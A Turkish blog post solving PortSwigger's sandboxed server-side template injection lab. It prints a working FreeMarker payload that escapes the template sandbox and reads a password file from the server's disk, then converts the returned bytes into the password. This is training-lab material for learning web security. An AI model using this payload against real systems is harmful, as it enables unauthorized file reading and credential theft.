PortSwigger SSTI Zafiyeti Lab 6

Bu laboratuvar ortamımızda Template Engine’miz belli ve sınıf(class) çağırma yöntemiyle parola belgesini çağırmaya çalışacağız. Yeterli kaynak bir önceki lab ortamlarında bulunduğu için direkt çözüm geçiyorum.

URL ; https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment

Enjekte öncesi kod yapısının normal hali.

Enjekte payload’ımız ; ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(‘/home/carlos/my_password.txt’).toURL().openStream().readAllBytes()?join(” “)}

Karşılık olarak bize byte değerler verdi.O halde byte to ascii çeviri işlemimizi yapalım ; 115 119 116 111 117 115 101 112 102 111 114 114 103 109 115 52 50 50 102 107

https://onlineasciitools.com/convert-bytes-to-ascii

Çıkan değeri Submit Solutions diyerek lab ortamımızı çözmüş oluyoruz.

Sorularınız için yorum yapmayı unutmayın.


Bu yazıyı beğendin mi ?0000

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir